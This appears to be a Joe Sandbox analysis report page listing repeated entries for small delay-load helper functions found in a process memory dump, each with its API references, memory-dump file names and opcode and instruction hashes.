Uniqueness

Uniqueness Score: -1.00%

Function 008732A7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 0ce8352ef3fbb8967fba2dd117f955487228381cf0540f27ffaf83c9ca049a97
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: 0ce8352ef3fbb8967fba2dd117f955487228381cf0540f27ffaf83c9ca049a97
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

Uniqueness

Uniqueness Score: -1.00%

Function 008732B1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: cfce63b3e22b1534ff9a739268fc293267025aa85f0ba0eb537fd1ef96928e50
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: cfce63b3e22b1534ff9a739268fc293267025aa85f0ba0eb537fd1ef96928e50
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

Uniqueness

Uniqueness Score: -1.00%

Function 00873239 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 53cd241d172218d395e78e6de7ae4407f60e5e9fe05c1c2584b00c14188814be
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: 53cd241d172218d395e78e6de7ae4407f60e5e9fe05c1c2584b00c14188814be
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

Uniqueness

Uniqueness Score: -1.00%

Function 0087326B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 6e356c3a2e5101803d011868344ae5be1db25fd58ff7ac3d4d4125cd69cf5e87
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: 6e356c3a2e5101803d011868344ae5be1db25fd58ff7ac3d4d4125cd69cf5e87
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

Uniqueness

Uniqueness Score: -1.00%

Function 00873275 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 579f9f15540a3e07dc83f7be198f9258cdb5ebae4411a59e7113aea673907a3f
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: 579f9f15540a3e07dc83f7be198f9258cdb5ebae4411a59e7113aea673907a3f
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

Uniqueness

Uniqueness Score: -1.00%

Function 0087327F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: dc9ffcd8af28bfa5f75cf144004ee19b23023e18a19837be2d1a0b28946c18e0
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: dc9ffcd8af28bfa5f75cf144004ee19b23023e18a19837be2d1a0b28946c18e0
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

Uniqueness

Uniqueness Score: -1.00%

Function 008733C9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008733D6

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 32672dbc2554b5a8ed6df98ce0fd4538373e3aec6f85a511371e1a75a2ae3bce
Instruction ID: ee5ea11c1489f896419294f5c1bd9be99b2a903a16dd629a812f4b0a1a0baf31
Opcode Fuzzy Hash: 32672dbc2554b5a8ed6df98ce0fd4538373e3aec6f85a511371e1a75a2ae3bce
Instruction Fuzzy Hash: B1A012C11950093C340821416D02C37011CE4C0B19370C61DB404C0284584469047033

Uniqueness

Uniqueness Score: -1.00%

Function 008733E4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008733D6

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: beba332d0d17fd1516d6c7beb23323397cdbe2cff20eed1df0cb5999a95a5edb
Instruction ID: 1569d1e826486aba6eddc43c8e4123f672e26fbdff0da42c5ddba435405c3f5a
Opcode Fuzzy Hash: beba332d0d17fd1516d6c7beb23323397cdbe2cff20eed1df0cb5999a95a5edb
Instruction Fuzzy Hash: 75A012C11990067C340821416C02C37011CE4C0B59370CA1DB405C0284584469043033

Uniqueness

Uniqueness Score: -1.00%

Function 008733EE Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008733D6

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 586a0aec67a2e0c7466abb6b8d77feff358a2482ede034be706f3ccb43224945
Instruction ID: 1569d1e826486aba6eddc43c8e4123f672e26fbdff0da42c5ddba435405c3f5a
Opcode Fuzzy Hash: 586a0aec67a2e0c7466abb6b8d77feff358a2482ede034be706f3ccb43224945
Instruction Fuzzy Hash: 75A012C11990067C340821416C02C37011CE4C0B59370CA1DB405C0284584469043033

Uniqueness

Uniqueness Score: -1.00%

Function 008734A6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00873484

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: b28876ca1d668e2f586be6734ae50bec464f0a76f990baceaf5d16f966e0b454
Instruction ID: d04dfb9fc58076807373c62088b8930a6ce6069ad06e6114a963e1ca0aef090e
Opcode Fuzzy Hash: b28876ca1d668e2f586be6734ae50bec464f0a76f990baceaf5d16f966e0b454
Instruction Fuzzy Hash: 4FA012C11D80067C300D21405C02C3A011CE4C4B64374C61DB485C014554409D042033

Uniqueness

Uniqueness Score: -1.00%

Function 008734BA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00873484

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 0ba8fe5fa82f273f4bde28cf4de3a2db993cbbc83328e31fcfbc50f8a39fa6ea
Instruction ID: d04dfb9fc58076807373c62088b8930a6ce6069ad06e6114a963e1ca0aef090e
Opcode Fuzzy Hash: 0ba8fe5fa82f273f4bde28cf4de3a2db993cbbc83328e31fcfbc50f8a39fa6ea
Instruction Fuzzy Hash: 4FA012C11D80067C300D21405C02C3A011CE4C4B64374C61DB485C014554409D042033

Uniqueness

Uniqueness Score: -1.00%

Function 008734C4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00873484

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 2bcdbbcebe7132d954236f6f81d6dd6b081bb11a9fec4c22b723fe234431d87e
Instruction ID: d04dfb9fc58076807373c62088b8930a6ce6069ad06e6114a963e1ca0aef090e
Opcode Fuzzy Hash: 2bcdbbcebe7132d954236f6f81d6dd6b081bb11a9fec4c22b723fe234431d87e
Instruction Fuzzy Hash: 4FA012C11D80067C300D21405C02C3A011CE4C4B64374C61DB485C014554409D042033

Uniqueness

Uniqueness Score: -1.00%

Function 008734CE Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00873484

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: d434c4fdd49bc69a007fa262da76930548ff10d5e074b9a6162a76777cf5c9b4
Instruction ID: d04dfb9fc58076807373c62088b8930a6ce6069ad06e6114a963e1ca0aef090e
Opcode Fuzzy Hash: d434c4fdd49bc69a007fa262da76930548ff10d5e074b9a6162a76777cf5c9b4
Instruction Fuzzy Hash: 4FA012C11D80067C300D21405C02C3A011CE4C4B64374C61DB485C014554409D042033

Uniqueness

Uniqueness Score: -1.00%

Function 0087340C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008733D6

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: ff02a1167aefeb782687ac722e958c977c1fec2c7150db5ab1a168d7f323467d
Instruction ID: 1569d1e826486aba6eddc43c8e4123f672e26fbdff0da42c5ddba435405c3f5a
Opcode Fuzzy Hash: ff02a1167aefeb782687ac722e958c977c1fec2c7150db5ab1a168d7f323467d
Instruction Fuzzy Hash: 75A012C11990067C340821416C02C37011CE4C0B59370CA1DB405C0284584469043033

Uniqueness

Uniqueness Score: -1.00%

Function 00873416 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008733D6

